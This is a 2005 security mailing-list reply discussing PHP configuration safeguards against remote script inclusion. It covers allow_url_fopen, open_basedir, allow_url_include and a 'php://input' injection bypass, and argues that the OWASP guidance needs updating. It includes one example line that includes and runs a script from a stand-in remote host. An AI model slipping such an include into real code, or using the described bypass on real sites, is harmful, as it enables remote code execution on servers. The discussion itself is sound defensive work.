Re: Mambo, Coppermine and PHPBB Attacks

[Yasuo Ohgaki <yohgaki () ohgaki net>]

Paul Laudanski wrote:
> On Mon, 26 Dec 2005, Yasuo Ohgaki wrote:
>
>
> > But I don't insist nx bit support is useless.
>
>
> I'm not sure I follow this one?  Are you meaning:
>
> http://en.wikipedia.org/wiki/NX_bit

Yes.

As you probably know, PHP's include/require statement will execute
remote script by default.
e.g. include('http://example.com/bad-script');

IMHO,　allow_url_fopen (or like) should provide NX bit like safe guard
feature.

> > Anyway, most php script do not need remote script execution feature.
> > And even with SELinux, it cannot prevent to execute remote code while
> > access to local file could be rejected and reported.
> >
> > Making allow_url_fopen useless is bad thing.
>
>
> Can you expand on this one please, or are you throwing it back to your 
> original reply?

PHP has sevral safe guard features.

open_basedir:
open_basedir is unreliable as it was implemented in application (PHP) level.
With SELinux, admin don't have to rely on open_basedir to restrict access
to sensible files.
Even if open_basedir is unreliable, but it's useful as safe guard.

allow_url_fopen:
It restricts remote code execution. However, since the introduction of php://input,
PHP allows remote code injection regardless of allow_url_fopen setting. (for bad PHP
script, of course.) For some known reason to me, allow_url_fopen was changed form
INI_ALL to INI_SYSTEM setting from PHP 4.3.x. (i.e. INI_ALL - script can change
setting, INI_SYSTEM - only system level config can change setting) Firewall may
restrict outbound port 80 access from web servers, but mordern web sites require
external web service access. Therefore, restricting outbound web access is not
practical as safe guard.
If PHP handles allow_url_fopen properly, it would be a good safe guard.

allow_url_include:
Added 2005-11-18 by Rasmus, it is replacement for allow_url_fopen for include/require,
only available in CVS version (PHP6). It seems to have "php://input script injection"
vulnerability still. (Not verified. I just read the patch. The patch only add new
config value to check. Others might add proper code to restrict php://input.)
If PHP handles allow_url_include properly, it would be a good safe guard.

I just would like to mention that recent changes regarding to allow_url_fopen feature
wasn't a good one for security perspective. OWASP guideline has recommended PHP
setting at the end of the document. It recommends allow_url_fopen=off, but
INI_ALL -> INI_SYSTEM change was made it impossible as some basic features require
allow_url_fopen=on. In addition, "php://input script injection" vulnerability
spoils allow_url_fopen=off as safe guard.
(e.g. PHP scripts that have remote script execution vulnerability has php://input
 script injection vulnerability most likely.)

OWASP guideline may be better to be updated, since allow_url_fopen=off
is not practical and allow_url_fopen=off does not provide good enough safe guard.

-- 
Yasuo Ohgaki